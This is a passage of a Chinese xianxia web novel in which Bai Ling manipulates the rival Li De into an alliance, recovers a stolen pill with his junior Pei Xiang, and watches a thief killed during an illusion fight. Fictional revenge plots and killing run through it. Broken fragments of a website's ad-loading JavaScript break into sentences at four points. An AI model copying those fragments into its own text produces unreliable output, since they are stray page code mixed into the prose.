唐棠才十四岁,便育成上上品灵根,前途无量。作为她的师尊,定要赐下一份厚礼,无外乎法宝兵器。若是一柄神级剑胆,还刚好是唐棠所需的金属性,她师尊能坐得住吗? 品质绝佳且属性契合的兵器,是多少修士一辈子都求不来的。而且白翎知道,他们抽出神级奖品,全性塔的光华早已替他们昭告天下。 所以,不论是李德还是问鼎一脉其他人,得知有人出售神级剑胆、还非要三宝属性的去换,皆能猜到幕后卖家是谁。 直钩垂钓,愿者上钩。 孔真人是出于挤兑师兄的私心也好,还是为了激励爱徒也罢,都势必将裴响的剑胆拿下。至于如何拿下,自然是借师祖的名头施压,逼迫李德前来以物易物了。 即便孔真人心里清楚,此举会让他们师兄弟本就岌岌可危的关系彻底无法挽回。 而李德炫耀了两百年的神级三宝剑胆,他交也得交、不交也得交。师祖偏心新收的天才,容不得他这个修为停滞的仲永违抗。 不过,白翎可以给李德另一条路,也是他现在唯一的出路。 白翎自得地摇头晃脑,果酿一口接一口。正当他晃晃见底的玉壶,转头让人续的时候,一只手横伸而来,把他的果酿连壶带杯子拿走了。 裴响面色不善,把酒具推得老远。 他道:“你又饮酒。” “什么叫‘又’?……哦,头回见你那次,是你姐请我喝的,不能算数。哎呀,才两杯不到,我哪里会醉。” 白翎嘴上还飘飘然说着,身子却已经抱着锦垫栽下去,发出意义不明的笑声。 裴响:“……” 裴响不由得再看了玉壶一眼,确实没多少,是白翎酒量太差了。眼看师兄要翻身滚到地上,他不得不上前捞住,回身扫视旁人。 钱掌柜作了个手势,示意有事唤一声就行。尔后,闲杂人等陆续出去,雅间清净下来。 唯余某个半醉不醉的家伙,哼哼唧唧不停。 裴响蹙着眉靠近,结果听见“剑胆”、“李智障”、“宝贝师弟”等或不知所云、或让他青筋直跳的话,气得他拂袖而去,回到红木桌案后。 白翎一觉睡得天昏地暗。 等他晕乎乎爬起来,心满意足地抻了个懒腰,仿佛全身的关节都疏通了。 盖在身上的衣袍滑下去,是一件纯黑的道服,冷香淡淡,分外熟悉。白翎呆坐片刻,先眯眼看向窗外,见夜色浓郁,再转向屋中的烛灯。 灯影下,裴响打坐静修,灵力为体表附着了一层微光。 白翎蹑手蹑脚地下地,抱着裴响的外袍,溜出雅间。 钱掌柜守在门外,见到他立即起身,问:“仙长有何吩咐?” 白翎道:“挂牌大半天了,有没有人来买呀。” 钱掌柜说:“仙长所需的神级三宝属性剑胆,乃稀世奇珍,恐怕一年半载都……不过于仙长而言,数十年也就转眼功夫,不如等有买家上门时,我等再向仙长报喜。” 白翎笑了笑,让钱掌柜另辟一间包厢,不要两面观景的那种,必须足够隐秘。 钱掌柜心领神会,将他领到三楼,走贵客专用的绝密通道,进入一间装潢古典的厢房。 白翎十分满意,在主位上坐了,闭目养神静候。有诸葛悟的铃铛在,他倒是不怕等会儿话不投机,被暴怒的猎物反扑。 终于,厢房门再度开启,钱掌柜将一个斗篷加身、幕篱遮面的男人带了进来。 白翎嗅到了血腥气,看着男人僵硬的步伐,乐道:“这是谁来了呀?稀客啊,李真人!你要是受了伤,不去找医修开药,跑来找我干什么?” 来者在他对面入座,解下幕篱,露出李德扭曲的面孔。 此时的他发髻蓬乱,好似遭了大难一般。一个元婴期修士,颊上竟有血痕,以他手头的灵丹都治不好,下手者的修为至少同级。 白翎佯装关怀道:“哎呀,怎么回事?被师尊打啦?嘶,瞧我这记性,居然忘记你的师尊师叔们早投胎去了。那是谁把你打成开花的模样,难道是师祖?” 李德一字一顿地道:“我师弟,老狗孔安!” “啊?”白翎显出很浮夸的惊讶,说,“不是吧李德,师弟都能打你脸?少开玩笑了,你到底是来干嘛的啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “装,继续装!姓白的——我来干嘛你不清楚?我现在这样,不都是拜你所赐!孔安那个贱货,拿着鸡毛当令箭,仗着师祖宠爱姓唐的杂种,逼我来换你的剑胆!你敢说不是你故意的?” 李德吼叫着拍案而起,不知牵动了什么伤口,面色一变,又一屁股坐了回去,面皮不住地抽动。 白翎更乐了,哈哈拍手道:“你修为不见长,智商倒是进步不小呀。没错,我故意的!谁叫你把我的剑胆占去两百年,现在还不肯物归原主吗?” “你……你少猖狂!我告诉你,就凭你的修为,剑胆还给你、你也守不住!你以为我师弟师妹会放过你?我师妹也是三宝属性,你且等着道会开场,看她会不会去找你!” 李德将一个长匣掷在桌上,生生砸出了凹痕。白翎目光一扫,心生感应,是熟悉的剑意。 他曾经抱在怀里睡觉的剑胆,好像也没有忘记他。 可是,现在还不是人剑重逢的时候。 李德喝道:“你的东西呢!” 白翎缓缓把长匣推到一边,说:“急什么。李德,你真是变成了一条好狗。当初把我踩在脚下的傲气去哪啦?现在怎么不狂了。天资不如你的师弟师妹后来居上,你忍忍就算了,但是连新进门的师侄都能抢你机缘……哈哈,你的仙途快到头了吧?” 轰然巨响,李德一掌拍碎了实木长桌。 终于,这个走投无路的修士被戳中了最深的痛处——不是师弟师妹,也不是师侄,而是他止步于元婴期、再不进境就要道毁人亡了。 钱掌柜被声音吓得奔进来,撞上李德凶神恶煞的脸色,戛然止步。 然而滚滚烟尘散去,露出白衣青年完好无损的身影。白翎依旧懒洋洋地坐着,一面弹掉衣上的木屑,一面拈起一枚铃铛。 他说:“只要你对我有半分杀意,我师兄即刻便到。李德,为什么他没来?因为你已经意识到了,我是最后一个能救你的人。窈娘是你害死的吧?不是为了救你师侄,而是为了给你师侄树敌。你想借刀杀人,没想到被漱玉真人看穿,引火烧身。真是蠢得可怜啊李真人——” 白翎居高临下,看着每听他说一句、神情就灰败一分的李德,轻轻问道: “事到如今,为什么不和我联手?我难道不是,最适合你借的刀吗。别忘了,我身后是诸葛悟和漱玉真人。他们都想要你的命,你就不能拿别人的命来换?和别人用你的剑胆,换剑胆给唐棠一样。” 元婴期修士在他面前,抖若筛糠。 李德骤然吐出大口淤血,显然是气急攻心,怨极恨极。 白翎见自己的话成效卓著,乘胜追击:“李德,道会就要开场了。一个只会压榨你、抛弃你的师门,有必要追随吗?不如跟我们里应外合,把属于你的东西夺回来。说吧,你想开什么条件?” 威逼利诱之下,穷途末路的修士内心剧烈动摇。 李德迎着白翎的视线,头回露出了一分恐惧。或许出于陌生,或许出于后怕,但很快,一切情绪转为愤怒。 他嘶声说:“我要你打烂孔安小儿的脸、杀掉他的宝贝疙瘩唐棠——不、不止是杀了那么简单,我要抽出她的灵根,把她挫骨扬灰!对了,我还要迎娶师妹,与她结侣。凭你?你办得到吗?区区一个筑基期蝼蚁!” 白翎扬了下眉,对这些要求左耳进右耳出。 不过他随口答应,仿佛举手之劳一般,垂眸微笑道:“你先跪下讲话吧。我们慢慢聊。” 18.十八、校选 回到雅间,白翎心情大好。 进门就看见仅着雪锦中衣、正在踱步的师弟,白翎心情更好了。 裴响听见开门声立即后退,见是白翎,把他从头到脚扫视一遍,才道:“你还知道回来?” 白翎张开双臂,表明自己全须全尾,大胜而归。 他笑道:“阿响,你干嘛说老婆等老公回家的台词啊。” 趁裴响愣神之际,白翎又立刻找补:“贤妻,贤妻。夸你哦。” 果不其然,师弟的胸膛剧烈起伏,快步过来夺回了外袍,背过身去整理衣襟。 白翎往飞来椅上一倒,说:“开个玩笑嘛——你不知道李德刚才的表情多精彩。我让他下跪,他竟然真的准备跪耶。但是太恶心了,最后我让他面壁讲话。” 裴响不回头,在听见李德名字的时候停了下手。但,或许是刚被白翎戏弄过的缘故,他不肯再表露关心。 白翎试探道:“我和元婴期大佬斗智斗勇,很辛苦的……啊,肩膀好酸,头也好痛,幸好没带师弟去吃苦……” “你是喝酒喝得吧。”裴响终于转过身来,语气却已放缓,问,“他刁难你了?” “怎么可能,耍他跟耍狗一样。你别不理我嘛。”白翎抛了一颗葡萄进嘴里,说,“我答应事成之后,不要那柄三宝属性的剑胆,只收回你的。除此以外,还替他除掉讨厌的同门。至于他呢,不仅要把师弟师妹的芥子袋给我,以后发达了还得定期上贡。怎样,很公平吧?” 裴响皱眉道:“为什么不取回你的剑胆?” 白翎面带微笑看着他,道:“都说了是在耍他嘛,哪里真的会放过他?等杀了他师弟师妹,再杀他不是简简单单。” 裴响:“……” 少年人眼一闭,大概是觉得浪费了感情。 白翎拈了颗最漂亮的果子凑过去,喂到他嘴边,问:“阿响觉得我心狠手辣?” 裴响垂眼瞥着他,被抵着唇不得已,将果子吃下。又因食不言之类的规矩,半晌没有回答。 白翎看他一鼓一鼓的腮帮子看笑了,道:“问鼎家的从师尊针对到师兄,又从师兄迁怒到我。如果不彻底击溃他们,阿响猜下一个受害者轮到谁呢。” 裴响眼睫微颤,显然明白答案。 白翎后退一步,灿然笑道:“好啦,回去吧。离道会还有一个月,能学多少算多少。再不回去睡觉,我明早又起不来。” 他走到门边,可是身后人没有跟上。白翎不知怎的,一时间不想回头,停步在门槛后。 直到裴响的声音响起,没好气道:“你吃光的那一碟,我找他们再要了一份。” 白翎搭着门框回身,探出圆睁双眼的脑袋。 一个精致的小包裹提到他面前,后面是师弟面无表情的脸,说:“自己拿着。” — 虽然很快因为打包的果子作夜宵还是作早餐的问题,白翎与裴响激烈争辩了一番,最后还以失败告终,但清冷矜贵的小师弟会尽孝了,让白翎大悦。 时值翌日清晨,白翎抱着果盘,飞快炫了个干净。 诸葛悟又不知忙什么去了,让他俩守家,不过留书一封,说是给二人报了道场的入道讲坛,不得缺席、早退、与讲师吵架。 显然,缺席早退吵架都是白翎以前干过的。道场派系多如牛毛,不是每一脉都叫得上姓名。所以不少膝下凋敝的大能会在讲坛任教,混口饭吃。 在白翎看来,讲坛和上辈子的二课堂一样,是全校性的选修课。 他曾经很喜欢流窜于各个教室,挑感兴趣的听,但后来发现,一些大能招不到弟子是有原因的。 不过,反正只是基本功,谁讲都差不多。白翎等李德递消息也需要时间,索性同师弟一块儿临时抱佛脚。 入道讲坛开设在山脚的广场上,等白翎和裴响到时,已是人头攒动。白翎颇为惊讶,没想到霁青山平时清净,开个课竟能炸出这么多新生。 除了各脉刚招的弟子,还有不少散修,瞧着年纪一大把了,也挤在年轻人当中。 白翎拦住一名仙友,道:“兄台,今天怎么回事啊?人也太多了吧。” “嚯,小老弟没听说吗?今天的讲师很有来头,是蓬莱一脉的医修圣手,章真人。他不授课,但会给大伙儿问诊,看你的底子怎样、灵脉和灵根有没有问题。你快点找个位置坐吧。” 白翎手搭凉棚望远,果然见一批老头老太太,正在布置讲坛。 看来不论什么时代,医学生都早衰。明明是修仙之人了,医修总比同级别的仙友显老。 比如章真人,估计和诸葛悟同岁,却是个鹤发童颜、白须如棉的老爷子。 他端坐在讲坛中央的长案后,由弟子按坐席顺序,引人看诊。个别没提前报名的散修,须补交一倍费用,基本都咬咬牙交了,毕竟机遇难得。 “难怪师兄让我们来,确实是个好机会。” 白翎拉着裴响寻觅半天,终于找到一处双人坐席,只需等章真人的弟子前来接引。 旁边的修士们皆在趺坐,纳气入体,炼化灵力。白翎让裴响坐好,检查他内功修得如何。为免打扰他人,两人传音对话。 白翎说:“你先抱个子午诀看看。师祖留给你的心法应该教了,不过让我确认一遍才好。内功是基础,万一有没理解到的地方,以后麻烦。” 裴响依言倒出一滴金虹灵泉,浮在身前散发灵气,而后用左手捏做圆形,右手拇指放入圆内,另四指放在左手下面。如此抱诀,则人身之阴阳二气自然接通。 片刻后,他从双手开始,感到微微热胀,奇妙之感游走全身。蓬莱一脉的弟子高声唱诵内功法门,其声悠扬,助益场上的修士们入静。 “抱子午诀,听息观光。先去杂念,再聆心声。万籁寂灭,唯尔息音。目止祖窍,聚元见宁。若有若无,似看非看。参悟真静,练气照田……” “田”即丹田,再往后便是筑基所用的吐纳法了。三百年来一直是老一套,听得白翎直打呵欠。 不过,裴响的悟性很高,入静也快,练气基础非常好。白翎莫名感到欣慰,怀疑自己年龄上来了,在体会某种天伦之乐。 可惜他最多关照一下师弟,自己是不可能刻苦用功的,每天睡前应付个一时半刻就顶天了。不多时,白翎伏在席上,打起了回笼觉的盹儿。 偌大广场上,唯有他睡得安然。偶尔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 引起路过的仙友注意,也不一定认得出他,故只是摇摇头,当他是哪个凡家出身的小少爷来寻仙缘,体验生活而已。 章真人看诊老练,每人点拨一二,倒是过场得快。时不时有人走动,渐渐的,招来些心术不正之辈。 个别行走江湖的散修觊觎道场弟子的法宝,总拿眼四处扫荡,鼠目暗藏贼光。甚至有魔修混迹于人群中,并不出手伤人,但行小偷小摸之举。 白翎正睡得香甜,忽然听到什么东西掉地上,咕噜噜滚到自己脚边。 他将眼眯开一道缝儿,见是一只玉瓶。白翎坐起来,裴响亦在此时完功,缓缓睁开双眼。 白翎捡起玉瓶,道:“这谁的东西?” 裴响摇摇头,体表的灵光平息,衣角无风微动了片刻。 白翎环顾四周,仙友们都在静修,面前各有运功的法宝或者灵泉,瞧不出谁掉了什么。 可玉瓶精光内敛,并非俗物。 一只手从背后伸来,点了下白翎肩头,道:“仙友,叨扰了。那是在下的固元丹。” 一名风尘仆仆的散修坐在他们后面,赔笑说道。此人容长脸,身形瘦削,不过看起来十分斯文,看玉瓶的眼神也略显紧张。 固元丹是常见的健体丹药,对道场弟子不算什么,却是散修们要以命相搏的物资。白翎未作多想,把玉瓶还给他道:“给你。” 散修连忙接过玉瓶道谢,一副总是被抢东西的凄苦样儿。白翎没放在心上,转头问裴响,刚才静修的心得感受。 裴响与他传音而语,请教不明白的细节。白翎最大的优点是读书多,凡是裴响碰到的疑难点,白翎全在书中见过。 两人正探讨在兴头上,忽然,右手边传来一声低呼。 “糟了,我的浑天丸……” 是个十二三岁的小姑娘,脑袋上扎两个花苞髻。她的脸蛋、鼻头、眼睛全都圆圆的,瞧着像过年画报上的仙童。 小姑娘满面懊丧,把双肩箩筐倒过来,清点里面的东西。一堆杂七杂八的玩意儿堆在席上,却没有她所寻之物,急得她左顾右盼。 白翎眼尖,瞧见她的竹筐里,倒出来两只玉瓶,和刚才滚到他脚边的一模一样。 于是白翎也道:“哎呀!” 他立即回身,却见背后空空如也。一个新来的壮汉发现这个空位,立马奔过来占住。 再看讲坛中央,章真人在给一位女修问诊,四处不见之前拿走玉瓶的散修身影。若非其心里有鬼,怎会还没轮到问诊,就离开讲坛? 白翎意识到,自己错把小姑娘掉的东西给贼人了。 前排修士听见小姑娘抽抽噎噎,不悦地斥道:“哪家的小孩在这哭,你师长呢?去去去,别扰了大伙儿清净。” 小姑娘埋着花苞头脑袋,憋出了老大一个鼻涕泡,不敢再发出声音。 她收拾好东西,垂头丧气往外走。白翎忙拍拍裴响的肩,传音说自己去去就回。 不料,白翎一起身,裴响也站了起来。 白翎不禁诧异,朝章真人的方向挤眼睛。 裴响却淡淡扫他一眼,道:“那人还捞走了我半滴灵泉。沾染上我的气息,用灵蝶追踪便是。” 19.十九、缉盗 白翎惊得笑了下,没想到那散修是个神偷。 此人不仅冒名领取了别家小孩的丹药,演技精湛;还顺手牵羊,连裴响吸收到一半的灵泉也不放过。难怪裴响没静修多久就完功了,原来被偷偷拔了电源。 白翎咳嗽一声,心说自己睡眠质量太好也不行啊。 他俩跟着花苞头小姑娘来到场外,向她快速说明情况,捏诀化出灵蝶。 幸好见漱玉真人用过这招后,白翎就找诸葛悟学了来。灵蝶绕着裴响飞舞,不多时,往某个方向飞去。 小姑娘背着双肩竹筐,紧跟二人。 她年纪小,没见识过灵蝶闻香寻踪,一抽一抽地问:“前辈,真的能找到小偷吗?我静修太专注,没注意瓶子掉了。” “你放心,是我把玉瓶给他的,还记得他的长相呢。实在不行的话,咱们拿画像去昭雪司通缉他。而且他薅我师弟羊毛,多少会染上我师弟的体香……” 白翎一边快步追随灵蝶,一边和小姑娘解释。不过,说到最后一句时,裴响瞪了他一眼。 白翎靠向小姑娘,低声说:“他脸皮薄,嘴硬是衣服的熏香。不过嘛,懂的都懂。” “哦……”小姑娘被他使了个促狭的眼神,假装懂了。她抹了把泪,气呼呼地说,“反正我一定要逮住小偷!瓶子里装的东西很危险,千万不能流落在外面。” 白翎:“真的?不是什么强身健体的丹药吗?” “呃。”小姑娘对了对手指,尴尬道,“你先别问这个了啦!捉住小偷再告诉你。” 他们此时踏出山门,灵蝶忽然高飞。或许是散修一离开道场,立即御剑逃跑了。 幸好,小姑娘从背篓里摸出三张疾驰符,往每人身上拍了一张。霎时间,白翎稍微一动就往前窜,堪堪稳住身形。 他怕动作幅度太大的话,脑袋先冲出去了,跟脖子分家。三人的全身上下都在游移,跟面条人似的舞动着,吐出的话也跟信号不好一样,一直卡顿。 白翎说:“他他他去去去商商商行行了。” 小姑娘拔腿就跑:“冲冲冲冲啊啊啊啊啊!!!” 灵蝶化作流光,“咻”地飞过天幕,直奔霁青商行。显然,散修要快速转手赃物,三人紧随其后。 这回钱掌柜接到金卡商户光临的通知、刚出主楼时,就见三道人影狂飙而至,疾风扑面。 老头的面皮都被吹展开了,勉力睁着眼道:“仙、仙长!” 灵蝶停在主楼门口,无声地破碎消融。三个面条人停下,晃动着水面倒影似的身子,直到小姑娘把疾驰符收回。 钱掌柜捂着心口道:“仙长,你们这是……” 小姑娘着急地说:“有个贼偷我们东西,他进去了!” 钱掌柜回头一看,道:“不好,今日有一场‘问宝会’,想收宝贝的买家支摊儿,卖家带货上门。三位请随我来。” 商行为免被盗,在大门两侧的玉狮子口中,各衔了一枚宝珠,不仅能感应魔气,还可以化解元婴期以下修士的法诀。 所以灵蝶消散,白翎他们只能在人群中寻找行窃的散修。 一进大门,人声鼎沸。 往常陈列法宝兵器的展台暂且收起,取而代之的,是无数拿着招牌的修士。 牌子上的字迹或娟秀或狂放,比如“回收仙级以上兵器,主人没死的不要”,或者“独守空房,等一枚灵丹;孤枕难眠,候一剂良药”,还有“长期招道侣,不招长期道侣”之类,看得白翎目不暇接。 钱掌柜已把他描述的形象吩咐下去,遣商行的护卫们缉查。 不过大厅内摩肩擦踵,挤得像一锅煲了黄鳝九族的粥。护卫们走两步就要被谁的手肘抽一嘴巴子,还被各式剑柄怼来怼去,步履维艰。 最可怜的是苦主小姑娘,因为个子矮,跳来跳去还什么都看不到。 她气得又摸出张符,往脚上一拍,霎时间见风就长,不过只长腿不长腰,直接变成了高跷精,脑袋顶上天花板。 小姑娘中气十足一声吼:“抓到你了,别跑!” 她跟稻谷一样弯下腰,吓得那片区域的人们四散奔逃。一个罩着兜帽、正在鬼鬼祟祟谈生意的男人背对着她,听见声音回身,顿时腿一软坐地上了。 小姑娘“嗤”的一声漏了气,恢复原状,奔到散修近前。 她伸手道:“把我的浑天丸还我!” 白翎与裴响也分开人群,跟了上来。果然,修士已经拿着玉瓶准备转卖了。 不过,他将丹药倒在铁盒里,用玉瓶盛着裴响那半滴灵泉。毕竟是金虹灵泉,有价无市,估计散修拿不出更奢华的包装,干脆挪用了一下,免得被看出货物来路不正。 散修爬起来,撕去贫寒的斯文人伪装,破口大骂道:“哪来的鳖孙在这撒野,我卖东西关你吊事?” 白翎插嘴道:“你认领她掉的东西,还敢拿来倒卖,好大的脸。” “我呸,什么叫她掉的东西?明明是我的固元丹。你识相点赶紧滚啊,不要妨碍我做生意!” 散修的嘴皮子上下翻动,全然变了一副面孔。他又冲已经谈好价格的买家说:“兄台,你别理这些癫子。我师伯辛苦炼成的固元丹,两百年才得一枚,品质绝对有仙级。反正东西已经给你了,咱快点钱货两讫吧,啊?” 白翎稍稍歪过脑袋,透过散修,瞧见一角红衣。 一名头戴斗笠的修士席地而坐,怀里躺着金环长刀,手搭一块木板。其上是龙飞凤舞三个字:收丹药。 要求如此宽泛的买家,太适合接手赃物了。 散修估计懂点医道,能判断玉瓶里的灵丹是什么门类,但说不准。所以他千挑万选,找到这个凡是丹药、照单全收的家伙,不用担心卖出去后,药不对症,反遭报复。 修士抬起头,斗笠沿下,露出一张五官英俊,但表情好像活腻了的脸。 他沙哑地说:“东西,我买了。想要,给我钱。” 小姑娘急得跺脚,道:“不行!你、你都不清楚瓶子里是什么——哎别跑,你倒是把钱交出来呀!” 她一把薅住想溜的散修,力气奇大无比,这男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人左扭右扭,硬是挣脱不掉。 白翎看乐了,问坐地上的刀修哥们儿道:“兄台贵姓?” 此人说:“尹。” 白翎观他的修为在金丹上下,明明形貌懒散,气势却深不可测,知道不能硬碰硬,问:“尹兄既然要我们付钱赎物,请问开价多少?” 偷东西的散修见跑不掉,态度已软下来,说:“我才卖了十两银子,还送金虹灵泉,全天下找不出比我更实惠的卖家了。尹大哥,你占了便宜,可要记我的人情啊,我——” 裴响往他的后颈一击,把人打晕过去。 他对尹姓刀修说:“灵泉送你,东西还她。” 红衣刀修站了起来,威压隐隐覆下,白翎暗中捏紧了腰间的铃铛。有些人看惯生死,随意行凶,动手前不一定会散发杀意,就好像喝了杯水那样毫无波动。 不知为何,眼前的刀修给他这种感觉。 若铃铛捏碎,诸葛悟也会前来,不过白翎是否有机会捏下,便不得而知了。 刀修说:“一千两。” “什么?!”小姑娘一声咋呼,不敢相信他狮子大开口,叫道,“实话跟你说吧,那颗丹药是我炼的!我炼了整整一炉,只有这一颗成型……你要是吃下去,吃死了怎么办?” 刀修无所谓地说:“那我会谢谢你。” 小姑娘:“啊?” “你们还有没有丹药卖?没有,就滚开。我的时间不多了。”刀修烦躁地挥挥手,示意白翎几人别挡住他的木板。 小姑娘没想到,她一个初学者炼的丹也有人敢吃。 她无措地看向白翎,极小声说:“我想当医修,家里人不让,我是偷偷学的。好不容易炼出成品,我想带给章真人指点一下,结果……唉,这人万一吃出毛病了,我要不要负责呀?” 白翎认为,既然吃药的不介意,她这个制药的就别操心了。把散修的芥子袋搜出来,赔给她了事。 修真界抓到小偷,向来是偷一罚十。白翎的目光落在昏迷的散修身上,不知小姑娘能否对这个处理结果满意。 不料,白翎看了眼地上的散修,又习惯性看了眼裴响的时候,忽然在裴响身后,见到一张一模一样的脸。 两人皆愣住,白翎转眼捏了个“开山诀”砸去。裴响反应极快,躲过法诀的同时,避开擦着脸划过的刀锋。 第二个“散修”用匕首偷袭不成,还挨了白翎的法诀,转身便跑。小姑娘正要追去,却被白翎拦下:“等等!” 不知从何时开始,嘈杂的大厅安静下来。 顾客依旧熙熙攘攘,可他们缄口不言,只是扮演着选购、问价、讨价还价的流程。仅有衣物窸窣声响起,细看之下,每个顾客都长着散修的面孔。 白翎看向自己拦住的人,因身高差距,他看见的是头顶,扎着两个花苞头。 但当小姑娘抬起脑袋,露出一张男人的容长脸。 她,或者是“他”,用女孩和散修的声音同时说:“为什么不让我去抓他呀?不对,你们……你们为什么要来抓我啊?” 20.二十、阴影 白翎意识到,散修祭出了压箱底的法宝,用于脱身。 他一晃神,小姑娘的衣着也变了,完全幻化成散修模样。掌风袭来,男人直击他面门,白翎错身闪过,道:“我是白衣服那个!” 周遭场景未变,他大概还在原地,只是被法宝蒙蔽了双眼。 也就是说,所有散修皆是幻觉,依然是商行里的人,包括现在攻击他的“散修”,其实是小姑娘。 果然,眼前人揉揉眼睛,说:“是你吗前辈?你、你怎么长得和小偷一个样了!” 她的声音也变得与散修相同。白翎道:“别着急,我们现在都一样,全是假家伙。千万别让真家伙混到我们当中。” 小姑娘说:“可是我脑袋有点晕,刚才好像说了很奇怪的话……” 法宝发动时,她的确跟被夺舍了似的,短暂迷惑了白翎一下。白翎当时也略有恍惚,因此并未放下戒备,说:“没事,你先把袖子挽起来,当做标记。” 小姑娘照做了。白翎抿抿唇,发现一件更可怕的事。 他竟然没看见裴响。 顾客们都离他们远远的,顶着散修的外表各做各事,偶尔才投来窥伺的目光。看来法宝的影响有限,只有他们几个离得近的中招。 按理说,所有人被一键换脸,位置不变,裴响还在白翎的斜后方。可他环顾左右,师弟刚才站的位置空无一人。 红衣刀修倒是还在,和小姑娘两个“散修”,面对着他。 但白翎发现了一件很有意思的事,他问:“为什么你俩都把袖子挽起来了?” 两个“散修”面面相觑,如同镜像。 他们同时惊叫一声,跳向两边,指着对方道:“你什么时候冒出来的!” 白翎心道不好。法宝捏造的幻觉混进来了,还同样挽起袖子混淆他。 其中一个“散修”一把抓住他的左手臂,急道:“前辈你信我,我是真的!” 另一个“散修”也冲上来,抓住他的右手臂叫:“前辈你别信他,我才是真的!” 白翎被吵得头大,况且在他眼里,俩中年马脸男人拽着他不放,是可忍孰不可忍。 他问起了只有小姑娘知道的事:“你发现东西不见以后哭了,凶你的人是男是女?” 两人同时答:“男的!” “好,各加一分。”白翎想了想又道,“我们用灵蝶追踪的什么来着?” “你师弟的体香!” “对对对,哎你很上道啊。”白翎啼笑皆非,继续问,“你被偷的丹药是什么,叫什么名字?” “浑天丸!是我唯一炼成的灵丹!” 两个“散修”依然异口同声,脱口而出。这下白翎知道是怎么回事了,左右开弓各给一拳,道:“你以为谁说的对、我就信谁?” 视野出现了扭曲,幻象濒临崩溃。 两个“散修”被打倒在地,连飞出去的角度都是一样的,撑着地冲白翎哭道:“你怎么打小孩呀,前辈!” “好了,好了,再演下去我要吐了。你们要是一个人答得上来、一个人答不上来,我还能被多骗一会儿,两个都跟抄了答案一样,肯定两个都是假的呗。”白翎抬手作停止的手势,道,“什么法宝啊这么灵,是读我心还是看我记忆啦?” 一个落魄散修的东西再好,也就顶一时之需。被他道破诡计后,碎裂声响起,法宝已完成了它的使命。 视野的扭曲消失了,白翎头昏眼花,还没来得及转身看师弟回来没,一只手先一步扶住他。 裴响低声道:“你……” 两人视线相接,紧盯了对方好一会儿。 白翎松了口气,说:“幸好你没变成那张马脸,不然我今晚肯定要做噩梦。” 裴响却抿着唇面色发白,不知刚才经历了多么惊悚的事。 白翎问:“法宝也读你的记忆模仿我了?用马脸学我说话?” 裴响的脸色更白了一分。 白翎不禁笑道:“他也喊你师弟?也逗你玩??也惹你生气???” 裴响神情阴暗,依然不语,似乎心理阴影非常深重。 白翎实在好奇,法宝看了裴响的回忆后、是怎样塑造他这位师兄的,都顾不得去找小偷了,追问道:“你快说呀!” 裴响终于道:“他们说仅凭一句话,即可自证身份。” 白翎:“哪句?” 裴响说:“一个要我当你的炉鼎。” “什么!”白翎目瞪口呆,忙问,“另一个呢?” 裴响磨牙道:“另一个要我当你的男宠。” 白翎:“……” 白翎大惊失色,没料到自己在师弟心目中的形象,是如此□□。 他喃喃道:“这法宝不灵。对,肯定不灵。阿响你其实不是这样想我的吧?我有这么过分吗?” 裴响凉凉地看了他一眼,一个字都没说,转开脸闭上双目。 “什么意思?喂喂,我客观上是胡言乱语没错,但我主观上非常纯良——”白翎话没说完,被忍无可忍的裴响扶着双肩,转向了小姑娘。 好在法宝的品级低,也没迷惑小姑娘多久。她抱头猛摇两下,霍然睁眼,道:“呔!你个假货!” 她扬手就打,幸好看见白翎,及时停住了。 小姑娘大喘气道:“咦?我恢复正常了?可恶的坏东西,假装成前辈你骗我呢,幸亏我把他逼出了破绽。” 白翎奇怪她又是如何看出来的,小姑娘挠挠头,说:“我掏出一瓶丹药,假装是我炼的,问他们谁敢吃。他俩都不吃……” 白翎无言以对,只得鼓掌。不料,一声爆喝在他们身后响起,红衣刀修忽然发狂,拔刀出鞘。 他的金环古刀近半人高,掀动罡风,袭向人群。顾客们大部分没反应过来,然而刀意迫近,猛地分作数截,诡异地改变了路径。 一道混在人群中、准备开溜的身影被数截刀意洞穿,惨死当场。 下一刻,客人们的惊呼沸反盈天。人们四散奔逃,只剩钱掌柜领着护卫们,前去验尸。 断成几块的散修掉在地上,怀里滚出一面铜镜。镜面裂成八瓣儿,正是迷惑白翎几人的法宝。 白翎张了张口,看向刀修,发现他头上的斗笠不见了。 再看散修的尸身上,正盖着一顶斗笠。原来他逃跑时又偷了东西,顺走刀修的斗笠作伪装。 枫红的身影走向那堆残尸,沉默地拾起斗笠,重新戴在头上。 小姑娘退后半步,讷讷道:“小偷……死了吗……” 刀修像是没听见一般,抬手召来一物,正是散修的芥子袋。主人死后,芥子袋失去灵力维系,刀修轻轻一捏,便将其爆开。 大把鸡零狗碎的玩意儿掉出来,被刀修挥袖吸入自己的袋中。仅剩一只铁盒,他信手抛给小姑娘,头也不回地走了。 小姑娘慌忙接住自己的丹药,冲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他大摇大摆出门的背影喊了声“谢谢”。 钱掌柜似乎对处理类似事件有着丰富经验,很快安排好了收尸的、打扫的、甚至通风换气的,再把一个形似扫地机器人的法宝放在地上。不消片刻,已完全看不出散修尸体的痕迹。 白翎自言自语:“好狠辣的刀法……没波及别人,只冲小偷去的,自己的斗笠还一点没坏。他是不是懒得辨别幻象?所以直接砍法宝。” 半晌没人理他,白翎回头一看,裴响仍面色阴郁,沉浸在幻觉的冲击里;小姑娘则捧着失而复得的炼丹作业,心有余悸。 白翎也因师弟对自己的印象太差劲了而伤怀,所以背着手溜达到小姑娘身边,道:“还不知道你叫什么名字,晚上一起吃饭不?” “啊……前辈,你们喊我阿花就好。我、我不吃饭,我想回家……不对,回我的师门……唉,好不容易说服师尊,让我独自出来听学论道的。没想到发生这种事……不管怎样都谢谢你们了!前辈再会。” 小姑娘魂不守舍,勉强挤出笑脸。她对白翎和裴响深深鞠了一躬,挑出一瓶品级最高的仙丹塞给白翎,也急匆匆地跑出了商行。 阿花的双肩背篓一晃一晃地远去,白翎收回目光。 — “噗通”一声,白翎陷进松软的大床里。 他离开商行前,向钱掌柜嘱托了一件事。若再见到姓尹的红衣刀修,一定问他愿不愿意接一单保镖生意。 